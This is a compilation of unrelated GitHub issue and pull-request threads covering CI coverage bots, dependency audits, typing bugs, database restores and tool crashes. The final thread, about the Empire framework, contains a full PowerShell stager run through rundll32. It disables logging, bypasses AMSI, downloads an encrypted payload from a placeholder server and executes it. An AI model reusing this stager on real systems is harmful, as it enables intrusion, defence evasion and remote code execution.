Docs index: Fix typos

(See diff.)

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Codecov Report

Merging #62 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #62   +/-   ##
=======================================
  Coverage   96.36%   96.36%
=======================================
  Files           1        1
  Lines         110      110
  Branches       16       16
=======================================
  Hits          106      106
  Misses          3        3
  Partials        1        1

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9632a53...a03118c. Read the comment docs.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

Coverage remained the same at 97.391% when pulling a03118c8f3673565a178e979a971ee5bce6a2002 on PiDelport:patch-1 into 9632a5308d153d46787ebceb0138990f60d1f86f on bigjason:master.

 Want to add yourself to https://github.com/bigjason/django-choices/blob/master/CONTRIBUTORS.md as well?


Add information on querybatch response ordering

ref: https://github.com/google/osv.dev/issues/321#issuecomment-1129453918

cc: @oliverchang

/gcbrun


[SPARK-7724] [SQL] Support Intersect/Except in Catalyst DSL.

Can one of the admins verify this patch?

ok to test

Merged build triggered.

Merged build started.

Test build #33265 has started for   PR 6327 at commit 11db778.

Test build #33265 has finished for   PR 6327 at commit 11db778.

This patch fails SparkR unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test FAILed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/33265/
Test FAILed.

test this please

Merged build triggered.

Merged build started.

Test build #33289 has started for   PR 6327 at commit 11db778.

Test build #33289 has finished for   PR 6327 at commit 11db778.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder/33289/
Test PASSed.

Merged build finished. Test PASSed.

This pull request reminds me that we should remove a lot of stuff from the dsl, since they are no longer for public use  (mostly just internal testing).

Merged to master and 1.4


Addresses from address book not showing up during checkout

What I'm trying to achieve
I am trying to complete a checkout with a pre-added address in the address book. I've made a dummy purchase before but the address does not appear during checkout. Had to log out and log back in to see the saved address.
Steps to reproduce the problem

Complete checkout with an address already saved in the address book.

What I expected to happen
Expect to see previously entered address to appear during checkout.
Screenshots

Testing it on master and it seems to be working fine now.


Missing Description

The description of the project is missing. Can u assign it to me so that i can help..

@Ijaiswalshivam Hey, I am done with the description part, can u tell me how to pull request?

@Faiz-Shaikh-16 you can create pull request from your github window after committing all the files through git


@angular-devkit/build-angular Depends on vulnerable versions of rollup

Command
update
Is this a regression?

[ ] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
No response
Description
Running npm audit on an Angular v18.2.5 outputs the following:

Minimal Reproduction
Run npm audit in the project folder
Exception or Error
No response
Your Environment
_                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/

Angular CLI: 18.2.5
Node: 20.14.0
Package Manager: npm 10.7.0
OS: win32 x64

Angular: 18.2.5
... animations, cdk, cli, common, compiler, compiler-cli, core
... forms, language-service, material, platform-browser
... platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1802.5
@angular-devkit/build-angular   18.2.5
@angular-devkit/core            18.2.5
@angular-devkit/schematics      18.2.5
@schematics/angular             18.2.5
ng-packagr                      18.2.1
rxjs                            7.8.1
typescript                      5.5.4
zone.js                         0.14.10

Anything else relevant?
No response

The version bump has landed on main but needs to be backported to v18.2.

Closed via https://github.com/angular/angular-cli/pull/28480

Is a release to npm planned for this issue ?


Can't retrieve log in oozie workflow

dear:
when i start hue for a long time, sometimes in oozie workflow page, if to submit a job,
I can't see logs.
It will show   "Failed to retrieve log:None"
but when I restart hue server, the log will display.
does anyone encounter this problem??
thanks

This looks like https://github.com/cloudera/hue/commit/8da9e9a54f0b612dc1327c154a7eb4d45932122a which is in master, C5.4.3

okok, I try it.
Thanks~~


[FixBug] Fix lose of meta data bug after alter routine load

What type of PR is this：

[x] bug
[ ] feature
[ ] enhancement
[ ] refactor
[ ] others

Which issues of this PR fixes ：

Fixes #6936
Problem Summary(Required) ：

When routine load serializes the load properties(columns/rows separator, column list, partitions, where filter), it stores the sql statement, and get the load properties by parsing the sql for deserialization. But after alter routine load is done, it will only keep the alter statement, this will cause the loss of metadata. We should merge the alter sql with the origin create sql to retain all load properties.

[FE PR Coverage check]
:heart_eyes: pass : 76 / 94 (80.85%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/load/routineload/RoutineLoadManager.java
0
2
00.00%

:large_blue_circle:
com/starrocks/load/routineload/RoutineLoadJob.java
23
38
60.53%

:large_blue_circle:
com/starrocks/load/RoutineLoadDesc.java
37
38
97.37%

:large_blue_circle:
com/starrocks/analysis/CreateRoutineLoadStmt.java
16
16
100.00%

run starrocks_fe_unittest

[FE PR Coverage check]
:heart_eyes: pass : 80 / 85 (94.12%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/load/routineload/RoutineLoadManager.java
0
2
00.00%

:large_blue_circle:
com/starrocks/load/routineload/RoutineLoadJob.java
27
29
93.10%

:large_blue_circle:
com/starrocks/load/RoutineLoadDesc.java
37
38
97.37%

:large_blue_circle:
com/starrocks/analysis/CreateRoutineLoadStmt.java
16
16
100.00%


Implement the 'O' of 'DataIO'

At this moment, this library implements input (reading data), but no output (writing data). Implement output.
This issue might be refined and split up into smaller ones...

This is a duplicate of an issue on GitLab...


missing type in automatic type generation of a Slice: id

While generating auto typings im missing the id, which is in the data but not in its typing for slices.
Versions

prismic-ts-codegen: 0.1.0
node: v16.14.0

Reproduction
None, private repo but screenshots added and should be sufficient
Steps to reproduce
Generate auto typing. For our Slice we get as type:

so no id, while the data we get is:

What is expected?
I just hoped the id: string was part of the generated slice type
What is actually happening?
It is not added, so in my typescript project i cant reference to it. Its wrong in your consumed package:
import {
	CustomTypeModelSlice,
	CustomTypeModelSliceType,
} from "@prismicio/types";

where the definition https://github.com/prismicio/prismic-types/blob/master/src/fields.ts#L797-L817 lacks the id, im not sure why its not there and who ever then used its typings :)

@maapteh Nice catch!
The id property was added to Prismic's API just under two weeks ago, so you caught us between deploying the new property and updating @prismicio/types. 😅
@prismicio/types v0.2.2 was just published and includes the id field for Slices.
You can upgrade with the following command:
npm install @prismicio/types@latest

If that doesn't fix the issue, please let me know and I'll reopen the issue and investigate. Thanks! 🙂

I can put that dep in my tree, but it should be a dep of the codegen. Not a dev dep :)
@angeloashmore Maybe its an idea to have all these packages in a monorepo so they all align: https://github.com/prismicio/prismic-helpers/blob/master/package.json#L60 internally i now have for example:
❯ yarn why @prismicio/types
├─ @prismicio/client@npm:6.6.3
│  └─ @prismicio/types@npm:0.2.0 (via npm:^0.2.0)
│
├─ @prismicio/helpers@npm:2.3.2
│  └─ @prismicio/types@npm:0.2.0 (via npm:^0.2.0)
│
├─ @prismicio/richtext@npm:2.1.0
│  └─ @prismicio/types@npm:0.1.29 (via npm:^0.1.22)
│
└─ @prismicio/richtext@npm:2.1.1
   └─ @prismicio/types@npm:0.2.0 (via npm:^0.2.0)

Maybe a monorepo makes changes in publishing way more easier to maintain?

Hey @maapteh, we're actually exploring merging our core libraries into one. That would mean combining @prismicio/client, @prismicio/helpers, and @prismicio/types into a unified @prismicio/client package.
I don't think we'll move toward a monorepo in the near future, but merging those core libraries will have a similar effect in simplifying versions and installation.
For now, @prismicio/types is a peer dependency of prismic-ts-codegen. We actually recommend installing @prismicio/types alongside prismic-ts-codegen. This allows you and us to upgrade types independently from prismic-ts-codegen.
From the README and docs:
npm install --save-dev prismic-ts-codegen @prismicio/types

Happy to hear more suggestions if this is causing other problems. 🙂

@angeloashmore it is typed as a Maybe while in our datamodel it seems to always be a string.

Hey @maapteh,
That's right; id typed as an optional property. Since this property is such a new feature, it is not available on all Prismic repositories yet. To be safe, it is typed as optional to ensure an application's code can handle both cases.
Once the feature guaranteed to be available in all repositories, we'll promote id to a non-optional field.
If you are rendering your Slices manually and using the ID property to key your Slice components, you can use @prismicio/react's <SliceZone> component instead. The component will automatically use the id property to key the component if available, or fall back to a JSON representation of the Slice in older repositories.
If you are using the ID property for other uses, then I recommend using something like JSON.stringify(slice) as a stable ID. Using JSON.stringify() is not necessarily efficient for a number a reasons, but it may be an acceptable solution depending on the use case.


Bug

Game name: (Fredbear and Friends - Reboot)
Engine version: (<IP_ADDRESS>15375)
Platform: (Unity)
Error message: Exception of type 'System.OutOfMemoryException' was thrown.
Stack trace:    at uTinyRipperGUI.Exporters.AudioConverter.ConvertToWav(Byte[] data)
at uTinyRipperGUI.Exporters.AudioAssetExporter.ExportAudio(AudioClip audioClip)
at uTinyRipperGUI.Exporters.AudioAssetExporter.Export(IExportContainer container, Object asset, String path)
at uTinyRipper.Project.AssetExportCollection.ExportInner(ProjectAssetContainer container, String filePath)
at uTinyRipper.Project.AssetExportCollection.Export(ProjectAssetContainer container, String dirPath)
at uTinyRipper.Converters.ProjectExporter.Export(String path, GameCollection fileCollection, IEnumerable1 files, ExportOptions options)    at uTinyRipper.GameStructure.Export(String exportPath, Func2 filter)
at uTinyRipperGUI.MainWindow.ExportFiles(Object data)

Well, look at the error if you might.
Your system is out of memory.

its not out of memory

but may be i can still open it with unity

its not out of memory

If it weren't then it also wouldn't have said that.

I HAVE FUCKING 59.4 GB MEMORY FREE I DO NOT KNOW WHY IT SAID THAT

May be ill try again

I tryed it again this time it worked may be that was a bug

i also have plenty of memory so space isnt a problem
I get the same error:
Game name: (please, specify the game name)
Engine version: (specify engine version, if known)
Platform: (specify platform, if known)
Error message: Some data left
Stack trace:    at uTinyRipper.Lz4.Lz4DecodeStream.ReadBuffer(Stream stream, Int64 count)
at uTinyRipper.BundleFileScheme.ReadFileStreamMetadata(Stream stream, Int64 basePosition)
at uTinyRipper.BundleFileScheme.ReadScheme(Stream stream)
at uTinyRipper.GameCollection.ReadScheme(SmartStream stream, String filePath, String fileName)
at uTinyRipper.GameCollection.LoadScheme(String filePath, String fileName)
at uTinyRipper.GameStructure.ProcessPlatformStructure(GameStructureProcessor processor, PlatformGameStructure structure)
at uTinyRipper.GameStructure.Load(List1 pathes, LayoutInfo layinfo)    at uTinyRipper.GameStructure.Load(IEnumerable1 pathes, LayoutInfo layinfo)
at uTinyRipperGUI.MainWindow.LoadFiles(Object data)

@MarkusGitHub484 out of memory means out of ram, not hard drive space.
@BugRod your game uses the Addressable system which is not supported by uTinyRipper.

@BugRod Support for Unity versions up to 2020.2.0 has been recently added to my AssetRipper fork.


Allow user to run the program from anywhere

Change the relative path of config file and static folder into global absolutes.

cool, thanks!


Error:  (InvalidBSON) incorrect BSON length in element with field name 'clone_class_metrics.CE'

Hi
I have windows 10 on my system with enough storage.
When I import the large smartshark database into my mongodb, I face with the following error:
2021-09-12T20:00:49.930+0430 2021-09-12T20:00:52.622+0430    smartshark_2_1.clone_instance  383GB 2021-09-12T20:00:52.622+0430    finished restoring smartshark_2_1.clone_instance (989924000 documents, 0 failures) 2021-09-12T20:00:52.622+0430    Failed: smartshark_2_1.clone_instance: error restoring from archive 'D:\MSRChallenge2022\smartshark_2_1.agz': (InvalidBSON) incorrect BSON length in element with field name 'clone_class_metrics.CE' in object with _id: ObjectId('5cbad340504acf99a43e3724') 2021-09-12T20:00:52.622+0430    989924000 document(s) restored successfully. 0 document(s) failed to restore.
To import the database, I wrote mongorestore --gzip --archive=D:\my-directory\smartshark_2_1.agz in the cmd.
This error appears after I imported 383 GB of data from smartshark. Why?
How can I fix the error? Does the database miss the objectID? I don't know what is the problem. Please help me to import the whole database at my MongoDB.

Hi,
that is strange. There should be no missing ObjectId. Which mongodb version do you run?
I tested the import on 4.2.
2021-08-08T23:16:58.988+0200    restoring indexes for collection smartshark_2_1.code_entity_state from metadata 2021-08-09T00:31:56.075+0200    finished restoring smartshark_2_1.code_entity_state (363259089 documents, 0 failures) 2021-08-09T00:31:56.203+0200<PHONE_NUMBER> document(s) restored successfully. 0 document(s) failed to restore.


lodash dependency doesn't seem to be packaged properly

When installing the Add-on in a project, the build fails on the LoDash dependency. Manual installation of "ember-lodash" in the project seems to correct the issue.

Nested addons still have issues in general which is why it works if the project just needs to use  ember-lodash as a dependency, but it doesn't work if my projects addon is using ember-lodash as a dependency.
In the nested case where you ember install ember-sort-filter-table from a fresh ember cli app...It fails on this line https://github.com/mike-north/ember-lodash/blob/master/index.js#L11 because this.project.addonPackages['ember-lodash'] isn't a thing in the nested case (normally it is). I pinged a few people on slack and it's a known issue.
Basically the problem stems from the issue of depuping, you can't guarantee that the an addon won't contain a conflicting version in your consuming app. So if you've got an addon that uses ember-lodash, and you use another addon that happens to use ember-lodash, ember-cli doesn't have enough to go off of on which one wins.
I'll submit a PR

@crodriguez1a Just a note here that this should be fixed now upstream via this commit https://github.com/ef4/ember-lodash/commit/07abd88917a377c54075bff3fcd623a4b0c043f5
you can try to remove my fix and see if it still works when doing an addon install from a normal ember app


Move slots from DataGeneration to NucleotideSequencing

See https://github.com/microbiomedata/nmdc-schema/issues/1760.
Moved sequencing-specific slots from DataGeneration to NucleotideSequencing so that MassSpectrometry would stop inheriting irrelevant slots.
The valid example files for NucleotideSequencing are still valid. Added an invalid example file of a MassSpectrometry object which has a NucleotideSequencing slot.

@bmeluch there are conflicts now, perhaps from @turbomam backmerge from nmdc-schema? can you them?

@aclum should be fixed now, thanks for reviewing!


Title

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#38  👈 (View in Graphite)
#37
#36
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Merge activity

Nov 20, 6:21 AM EST: A user started a stack merge that includes this pull request via Graphite.


Jbad

Requester: Nazman
Link:
http://steamcommunity.com/workshop/filedetails/?id=520618345
Reason:
the Jbad mods is need because some strucctures of the maps are not from the vanilla arma, but this structures can be use also by Zeus for his mission.

Status?

This mod specifically started testing 2 days ago.

This mod is dependent for Laviathan and adds a lot of objects. This mod causes a 2.5 FPS drop average server-side. Other than that the mod is good to go.


Want to join the introDH-Hub?

Please respond here with your new GitHub account to ask to be added as a collaborator on this repo!

This is Natalya Myers, my username is @natalyamyers I would like to be added!

Add me please! This is Mia

My name is Anthony W @amw6765. @ebeshero please add me as a collaborator!

This is Brandon M, I would like to be added as a collaborator!

Hi, Dr. B! I would like to be added please.

This is Rachel G, and I'd like to be added, please!

This is Jesse B and would like to be added, please.

@natalyamyers @am0eba-byte @amw6765 @arrowarchive @JesseBeckwith1998 @tomsheehy @bpm5520 I've just invited each of you to join this repo! You'll need to accept my invitation to join: Do that my checking the email you used to create your GitHub account, and accepting the invite.

Hello Dr.B! I would like to be added!

This is Alex Anderson. I would like to be added.

This is Matt Schnelle, I would like to be added.

This is Ben Simon, I would like to be added please!

Hello, my username is @Joelpie, I'd like to be added.

This is Kyara Parrish, I would like to be added please!

Hello, this is Gabbie Doster, I would like to be added.

Hi this is Janet Pituch, I would like to be added.

This is Jalen Moss, I would like to join.

hey its Nicky i would like to be added

Hey! It's Sierra and I would love to be added.

It's Nathan... can I join?

This is Yuchen Liu, may I join in?

This is Peter Lamis, If I am not already, may I be added?

@argynarg @Joelpie @pxl5083 @ypl5391 Please check the email you used to create your GitHub account, and accept the invitation from me to join this repo.

This is Harrison Lilley and I would like to please be added. @ebeshero


Source file links in terminal not clickable on some computers

Issue Type: Bug
I'm noticing a strange behavior when editing a TypeScript project on two different computers. When there are errors, tsc reports them in the integrated terminal using links to the relevant source code lines:

On one of my computers, these get highlighted as links and lead to the referenced code line. On this one they don't. I'm not sure what causes this, as the bug reproduces without extensions.
VS Code version: Code 1.25.1 (1dfc5e557209371715f655691b1235b6b26a06be, 2018-07-11T15:43:53.668Z)
OS version: Windows_NT x64 10.0.17134

System Info

Item
Value

CPUs
Intel(R) Core(TM) i5-3570K CPU @ 3.40GHz (4 x 3403)

GPU Status
2d_canvas: enabledflash_3d: enabledflash_stage3d: enabledflash_stage3d_baseline: enabledgpu_compositing: enabledmultiple_raster_threads: enabled_onnative_gpu_memory_buffers: disabled_softwarerasterization: disabled_softwarevideo_decode: enabledvideo_encode: enabledvpx_decode: enabledwebgl: enabledwebgl2: enabled

Memory (System)
15.96GB (7.79GB free)

Process Argv
C:\Program Files\Microsoft VS Code\Code.exe

Screen Reader
no

VM
0%

Extensions (13)

Extension
Author (truncated)
Version

vscode-eslint
dba
1.4.12

gitlens
eam
8.5.2

tslint
eg2
1.0.34

RunOnSave
eme
0.0.16

vscode-language-pack-de
MS-
1.25.2

vscode-docker
Pet
0.0.27

project-snippets
reb
0.5.0

java
red
0.28.0

vscode-coverage-gutters
rya
2.0.1

vscode-java-debug
vsc
0.10.0

vscode-java-pack
vsc
0.3.0

vscode-java-test
vsc
0.7.1

vscode-maven
vsc
0.9.2

I believe this is already fixed, can you see if you can reproduce in the Insiders build?

Sorry it took me so long, but I can still reproduce it in the latest insiders build.

On one machine this gets an underline on hover and is clickable, on my main machine it does not.

@AlCalzone is src a child of the folder in which the terminal was opened in? The terminal does not track the cwd and only adds links for files relative to the original cwd.

Yes it is.

At least it is a child of the folder opened in VSCode and I assume this is where the terminal is opened in

@Tyriar Anything I can do on my problematic machine to help debug this?


Use shorter (base-36) encoding of outputPath digest

This shortens branchnames and may make them more readable and easier to announce: "483-s-b-n-t-pil" is easier to pronounce than "82dd7da9dfe" and contains a more data.

Checks refusing to run 😭 .  Changing to be a "merge to trunk", let's see if that makes them run.
But...
DO NOT MERGE TO TRUNK!

Checks refusing to run sob . Changing to be a "merge to trunk", let's see if that makes them run.
But...
DO NOT MERGE TO TRUNK!

That doesn't really help: actions are marked "Required", "waiting to start", but never start.  Going back.

Pulling as unit-test "works on my machine", and nothing else is particularly relevant to Esti or other tests.  Target is anyway our OC integration branch.


gdbgui: <IP_ADDRESS> -> <IP_ADDRESS>

Fixes #214614 by switching from the Sept 2021 release to the Jun 2022 release (https://github.com/cs01/gdbgui/releases)
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 217634 run on x86_64-darwin 1

1 package built:

gdbgui


Connect to node via RBAC?

Is there a way to connect to the node using our Azure creds if RBAC has been enabled on the resource? Just seems a bit odd to have to SSH and create a temp pod to jump on the node. Can this not be done via an Az command?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 3b81a147-db1c-b92f-88d1-6dd0991a72fe
Version Independent ID: f5a2c949-498f-5848-d89c-031d1a757120
Content: SSH into Azure Kubernetes Service (AKS) cluster nodes
Content Source: articles/aks/ssh.md
Service: container-service
GitHub Login: @iainfoulds
Microsoft Alias: iainfou

Thanks for the question! We are currently investigating and will update you shortly.

@paulmackinnon-adv365 we have some information on how to work with RBAC enabled nodes
https://docs.microsoft.com/en-us/azure/aks/aad-integration
That being said, if you want to actually SSH to a POD you need to create a SSH tunnel. This is because AKS nodes are not exposed via public IP. So the only way to connect via SSH is to create an SSH tunnel as described in this doc.

@paulmackinnon-adv365 I will close this for now. If you have additional questions let me know and we can reopen and continue.


Proxying metrics with auth via headers

We're trying to scrape the control plane metrics of Kubernetes, e.g. the kube-apiserver that exposes metrics on localhost:6443/metrics but that requires authorization via the bearer-token header when using RBAC. (Metrics For  The Kubernetes Control Plane)
This could be done by a dedicated job in Prometheus, however, when exporter_exporter is already used to proxy other exporters on the same machine, we'd prefer to do the same here.
That's only a single example derived from an actual use case that we've encountered. Implementing this would require a simple modification to the reverse proxy so that headers from the module config (if any) are added when proxying, would this be acceptable?

To clarify, you want to be be able to specify some full headers (name and value), in the config file and have those added to incoming requests? Or you want to be able to white list headers that would be passed through?

I was thinking about allowing key/value pairs in the module config that would be passed as headers when proxying. If we look at the use case that we've encountered, we can be scraping any number of kube-apiserver and other endpoints on various machines that can require different auth tokens in the headers. Creating separate scrape jobs that would pass different tokens via headers wouldn't be ideal, hence, the module config having them would work better in this case.

Would  bearer token be enough? My thinking is, having a bearer token in a file, referred to in the config, similarly perhaps basic auth support. Might be preferable to baking secrets into the config file for some users.
I think having extra headers is fine, and would handle your use case. But if we introduce it, I might be inclined to introduce additional support specifically for reading in bearer tokens and basic-auth passwords from a file.
I may not have explained that well.
Go ahead with a PR for the header support, I can look at adding specific Authorization support later.

I've added custom header support.
What you mean is having the ability to specify something like:
modules:
  node:
    method: http
    http:
       port: 9100
       auth:
          bearer: "/tmp/file/with/token"
          basic: "/tmp/file/with/creds"

That would make sense to me for handling auth in cases where you wouldn't want to add tokens to the actual config file for expexp


issue_120: Allow the backup property to be specified as true

Version 2.1.1
Fix issue #120 by allowing the backup property to have a value of true.
[List any existing issues this PR resolves]
#120

[ ] All tests pass.
[ ] New functionality includes testing.
[ ] New functionality has been documented in the README if applicable

This change is

I'll see if I can figure out where the backup files are stored to make the tests run cleanly.

resources/add_to_list.rb, line 1 at r1 (raw file):
Previously, MarkGibbons (Mark Gibbons ) wrote…
I deleted the checks that the backup files were created.  We don't need to check that the file resource creates backups.  The tests should pass now.

Next major release, remove true ?


feat : add proto buffer skel

Related Issue
resolve: #23
Description

message is just transaction

Checklist
Thank you for your contribution.
Before submitting this PR, please make sure:

[ ] Test case
[x] End of Work

@zeroFruit @boohyunsik
I modified message contents. plz check


Support linear extrapolation in jnp.interp?

numpy.interp does not support extrapolation, instead leaving this functionality to the much more complex scipy.interpolate.interp1d, which uses a class based interface.
So I propose to interpret the string values left='extrapolate' and right='extrapolate' as indicating that extrapolation should be done instead of only using a constant value:

This value would be consistent with the keyword argument used by the fill_value argument to scipy.interpolate.interp1d.
There is no potential confusion about strings indicating interpolation modes versus values because left and right currently only support numeric arguments.

This would be useful and extremely easy to implement in JAX. Basically all that needs to be done to obtain linear extrapolation is to conditionally remove these calls to where at the end of jnp.interp
https://github.com/google/jax/blob/6634600c46c99e3f0861e9258aace3fdfe250baf/jax/_src/numpy/lax_numpy.py#L1042-L1043
Any thoughts? I can see a case for asking to do this in NumPy first, but I'm not sure there would be large enough benefits to the NumPy users given that they can use SciPy instead. Also it would be slightly more annoying to implement in NumPy since the implementation of np.interp is written in C.

Deviating from the NumPy API in ways @shoyer suggests SGTM!


Add ability to handle spaces in names

Allow for using usernames and schedules that contain spaces by
encapsulating them in either single or double quotes. For example:
hubot> pager trigger "Foo Bar" testing

😻

@stephenyeargin Hopefully we can get this merged and into a new release?

Published as v2.1.15

@stephenyeargin Awesome! Thanks!


Should we move the get_att wiki page to the main wiki?

Currently it's on enarx/enarx-keepldr but the rest of our info is on enarx/enarx.
https://github.com/enarx/enarx-keepldr/wiki/Enarx-syscall:-get_attestation

Yes, we'll be moving the 2 enarx-keepldr wiki pages to enarx/enarx.


Don't show "download completed" notifications when watching video in fullscreen mode

The notifications are distracting.
Acceptance Criteria

Definition of Done

[ ]  Tested against acceptance criteria
[ ] Tested against the assumptions of the user story
[ ] The project builds without errors
[ ] Unit tests are written and passing
[ ] Tests on devices/browsers listed in the issue have passed
[ ] QA performed & issues resolved
[ ] Refactoring completed
[ ] Any configuration or build changes documented
[ ] Documentation updated
[ ] Peer Code Review performed

I don't see any notifications for this. Is this issue still relevant ?

Confirmed this is still an issue.

Is this still open? I would like to take this one.

Believe it is, give it a shot!

This issue seems to be solved. I'm not getting this issue on Windows 10 w/ Focus Assist disabled (LBRY First testing build). Is there any other way to recreate this or is it actually just solved?

Can't reproduce with Linux + Cinnamon either.

confirmed, cannot reproduce


Error With Ampersand Character in Stager

Empire Version
2.3
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
Hi, I am trying to launch an empire stager through powershell runspaces in c#
(https://github.com/p3nt4/PowerShdll).
rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64LAUNCHER")); Invoke-Expression $a

The ampersand in the stager is causing an error (please see below).
Is it possible to replace that symbol by a command?
Screenshot of error, embedded text output, or Pastebin link to the error
At line:1 char:2939
+ ... . . $ d A T a . l E N g t H ] ; - J o I n [ C h a r [ ] ] ( &   $ R   ...
+                                                                 ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.

Any additional information
This is not an Empire issue per say but any help would be appreciated.
Thank you.

@p3nt4 You try escaping with ` .

Thanks @xorrior for the reply. Escaping the ampersand does not work.
I managed to run the agent as below. So its definately an issue with the base64 decoding. I have tried using ASCII, UTF8, Default, none of them seem to do the trick.
rundll32 PowerShdll.dll,main "If($PSVERsioNTaBle.PSVeRSIoN.MAJoR -GE 3){$GPS=[REF].ASSEmbLy.GETTyPe('System.Management.Automation.Utils')."GETFIE`Ld"('cachedGroupPolicySettings','N'+'onPublic,Static').GETVALuE($nULl);IF($GPS['ScriptB'+'lockLogging']){$GPS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}Else{[ScRIPtBlOck]."GETFIE`Ld"('signatures','N'+'onPublic,Static').SETVALuE($nulL,(NeW-ObjecT COLlectionS.GeNeRIc.HASHSeT[sTring]))}[ReF].AsseMBly.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SEtVAluE($null,$TrUE)};};[SysteM.NET.SERvICEPoiNtMANaGEr]::ExpecT100CoNTiNuE=0;$wC=NEW-ObJeCt SYsTeM.NET.WebClIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEadeRs.AdD('User-Agent',$u);$Wc.ProXY=[SysteM.Net.WEBREQUest]::DefauLtWEbProxY;$wC.PrOxy.CRedenTiaLs = [SYstEm.Net.CReDEntIALCaCHe]::DEfAuLtNEtWOrKCrEdeNTIAls;$Script:Proxy = $wc.Proxy;$K=[SysTEM.TexT.EnCodINg]::ASCII.GetBytEs('bJiAO|Ex*,Y<PIT8a[V:FNKBRC/+})@q');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxoR$S[($S[$I]+$S[$H])%256]}};$ser='http://MYIP:80';$t='/admin/get.php';$Wc.HeaDeRS.AdD("Cookie","session=sHWihiw44eW51Bp993Pt6Oxnd8g=");$datA=$WC.DOwnloadDATa($SER+$t);$IV=$DATA[0..3];$dATA=$DatA[4..$daTA.LeNGTh];Write-Host $R; -JoiN[ChaR[]](& $R $DaTA ($IV+$K))|IEX"


